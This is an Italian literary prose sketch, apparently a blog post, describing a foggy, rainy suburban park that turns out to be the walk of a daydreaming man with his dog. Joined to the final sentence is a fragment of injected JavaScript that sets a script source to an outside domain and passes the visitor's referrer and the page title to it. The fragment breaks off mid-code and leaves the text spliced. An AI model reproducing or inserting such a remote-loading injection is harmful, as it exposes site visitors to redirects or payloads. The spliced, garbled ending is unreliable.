Il cielo lasciava cadere il suo velo grigiastro, forza della natura primordiale, interferenza che spezza il rettilineo andare delle emissioni solari. La soffice nebbia che tutto avvolgeva cercava di attutire le rapide cadute dei singoli corpi celesti, millenari martiri per la vita di millenarie brutture.
Il grigio, anche se rinfrescato da quel continuo movimento naturale dall’alto verso il basso, donava al verde chiuso tra cemento e metallo immobilità, fissità, fine.
La recinzione di un silenzioso ed abbandonato parco di periferia di un probabile agglomerato umano era indistinguibile dal muro creato dalle possibilità climatiche. Evanescente ma così concreto e invalicabile, anche al passo più celere donava sguardi di contorni appena accennati che subito tornavano ad uniformarsi nella torba, solo un ricordo di esperienze assidue poteva conoscere cosa in quel momento sembrava non esistere.
Forti e robusti pali pulsanti si trovano su, verso il cielo, aprendo le loro scure e verdi ali per un volo che non avrebbero mai potuto iniziare. Condannati nello stesso luogo da una mano che mai, così speravano, sarebbe stata vicina alle nubi come loro.
La tecnologia delle illuminazioni urbane portò via la dignità di questo primato: muti, sordi, ciechi, superati, fissi, finiti.
Immersa nel miscuglio di quell’acqua appena partorita e già abbandonata, di quell’impasto marrone misto a bianche calcaree presenze levigabili. Il punk dalla verdognola capigliatura, a tratti più scolorita a tratti più forte, lasciava il suo cranio infangare senza preoccuparsi. Si è sempre chiamato Terra. Il logorante ticchettio di lancette in forma sferica si univa a quella sporca massa terrena, rimbalzava donando a quei ciuffi inermi tonalità, sempre più brune. Soffice calzatura epiteliale umana soppiantata da omologate, capitalistiche produzioni industriali, costretta all’adesione con creazioni di laboratorio. Sintesi della schiavitù a cui vogliamo abbassarci quotidianamente anche nelle scelte del calzare.
Nella fissa, finita nel movimento, amalgama di tutto questo complesso di pulsanti azioni vitali, cicliche senza interruzioni, loro erano le uniche presenze realmente vuote, autenticamente fisse. Immutabili nel loro stato inanimato, la morte le avrebbe toccate mai, perché la vita non aveva preso parte nella loro storia. Disposte dalle stesse mani che le avevano create, in distanze precise ripetute lungo tutto il perimetro di quell’artefatto ecosistema. Mute osservavano ciò che veniva inscenato sul naturale palcoscenico come bambini, infantili rappresentazioni teatrali interpretano il ruolo senza dignità di sfondo. Verdi o nere, a differenza di come decisioni cittadine le pennellano. Sono strumenti sopra i quali il più meridionale dei buchi umani può fermarsi per dare il dovuto riposo ai motori dello spaziale procedere non inquinante. Le scarne sedute senza fisso proprietario erano lasciate a se stesse in quel giorno in cui neanche le luci dei tanti soli artificiali equidistanti riuscivano ad irradiarle con il colore delle loro luminose irradiazioni. Fotoni racchiusi dai fiumi espirati dal capriccio meteorologico, inibiti nello svolgere il loro naturale agire. Tutto profumava di temporanea solitudine bagnata, quadri sconnessi di un unico paesaggio urbano, probabile realtà ripetuta nell’infinità terrestre.
Un unico temerario sfidava l’intemperia che non cessava nel suo esistere. Racchiuso nella plasticosa difesa contro il bagnato, ergeva una mobile copertura circolare, colorata di un banalissimo nero, per lui e il suo accompagnatore. Aveva consciamente intrapreso quella passeggiata serale sapendo che sarebbe stato solitario a contatto con un panorama che altri avrebbero definito ostile. Si lasciava andare a piccole pause per permettere a chi seguiva lo svolgere di naturali azioni di evacuazione fisica. Fosse stato solo per lui non avrebbe mai fermato il suo perdersi nella nebbia al ritmo di pioggia con luci artificiali velate. Non riuscivano a colpire neanche il prato, gli alberi e le panchine circostanti. Ma in fondo, senza giri di parole, era solo un uomo a cui piace sognare ad occhi aperti con il suo cane che doveva cacare.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {